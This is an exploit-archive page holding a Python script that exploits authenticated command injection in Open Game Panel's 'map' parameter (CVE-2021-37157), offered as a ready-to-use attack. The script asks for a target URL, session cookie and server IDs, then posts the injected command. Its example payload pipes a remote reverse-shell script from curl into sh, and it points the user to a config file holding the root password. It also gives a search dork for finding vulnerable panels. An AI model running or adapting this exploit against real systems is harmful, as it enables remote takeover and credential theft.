7cf828b365
5 changes to exploits/shellcodes Payara Micro Community 5.2021.6 - Directory Traversal Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass Open Game Panel - Remote Code Execution (RCE) (Authenticated) Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)
72 lines
No EOL
3.3 KiB
Python
Executable file
72 lines
No EOL
3.3 KiB
Python
Executable file
# Exploit Title: Open Game Panel - Remote Code Execution (RCE) (Authenticated)
|
|
# Google Dork: intext:"Open Game Panel 2021"
|
|
# Date: 08/14/2021
|
|
# Exploit Author: prey
|
|
# Vendor Homepage: https://www.opengamepanel.org/
|
|
# Software Link: https://github.com/OpenGamePanel/OGP-Website
|
|
# Version: before 14 Aug patch (https://github.com/OpenGamePanel/OGP-Website/pull/561/commits)
|
|
# Tested on: CentOS Linux 5.4.102
|
|
|
|
#Before the patch, it was possible to inject system commands on "map" parameter when launching a new counter-strike server just by putting the command=
|
|
betwen ';', the user needs to be authenticated for this.
|
|
|
|
|
|
import requests
|
|
|
|
banner = """
|
|
@
|
|
@ @@& @@@@@/
|
|
@ @& #@@@@@& .=
|
|
,/%@#
|
|
@ @@@@@@@@@@@@@((%@@@@*
|
|
@ #@@@@@@@@@@@@@@@*%@,
|
|
@ @@@@@@@@@@@@@@&@@@@
|
|
@ &@@@@@@@@@/ &@@@.
|
|
@ @@@@@@@@@(
|
|
@ @@@@@@@@@@@@@&*
|
|
@ &@@@@@@@@@@@@@@@@%
|
|
@ ,&@@@@@@@@@@@@@
|
|
@ %@@@@@@@.
|
|
@ .%@@@@@@@@% @@@@@@
|
|
@ @@@@@# .&@@@@#
|
|
@ (@@@@@@@@@@@. .@@@& @@%
|
|
@ .@@@@@, #@@@@@* #@@@ @@@@@
|
|
@ @@@& &@@@. @@@
|
|
@ ,@@@ @@@@@@
|
|
@ @@@ %@@@,
|
|
@&@@ @@@,
|
|
@@@@
|
|
@@@@
|
|
|
|
*@@@@@# @@ *@@ %@ @@@ @@ @@@@@/ @@@ @@@ ,@@@ ,@( .@=
|
|
%
|
|
*@/ @@ .@/ @(@ @@ @@@( @@ ,@( @@@* @#@@ @@(@ ,@( .@=
|
|
%
|
|
*@@@@@@ @@ @ &&.@( @@ @.@@ @@@@ @@.@(@ @@ (@. @@ ,@( .@=
|
|
%
|
|
*@/ %@(@ @@@ @@ *@@@ @@ @@ @@. @@ @@@@@@, ,@( .@=
|
|
%
|
|
*@/ @@* @@@ @@ %@@ @@@@@* @@ @@ &@ @@ ,@@@@@ .@=
|
|
@@@@
|
|
|
|
##You can get mod_id and home_id on your game panel URL when you are logged
|
|
|
|
"""
|
|
print(banner)
|
|
|
|
target = input("Target url: (eg: https://panel.example.org)\n")
|
|
opengamepanel_web = input("opengamepanel_web Cookie: (eg: kulonmu5ldu71nmggv2p571nu1)\n")
|
|
mod_id = input("Mod_id value: (eg: 2437)\n")
|
|
home_id = input("Home_id value: (eg: 3737)\n")
|
|
server_ip_port = input("Server IP:port: (eg: 192.168.69.69:42069)\n")
|
|
command = input("Payload: (eg: curl https://reverse-shell.sh/1.1.1.1:1337|sh)\n")
|
|
|
|
url = target + "/home.php?m=gamemanager&p=game_monitor"
|
|
cookies = {"opengamepanel_web": opengamepanel_web}
|
|
headers = {"Content-Type": "application/x-www-form-urlencoded"}
|
|
data = {"mod_id": mod_id, "home_id": home_id, "ip_port": server_ip_port, "map": ";" + command + ";", "start_server": "whatever"}
|
|
try:
|
|
requests.post(url, headers=headers, cookies=cookies, data=data)
|
|
except:
|
|
print("Something went wrong, check your inputs or try manually exploiting the map parameter")
|
|
print("Finished. you can now literally read the file $HOME/OGP/Cfg/Config.pm for the root password yaay! (CVE-2021-37157)") |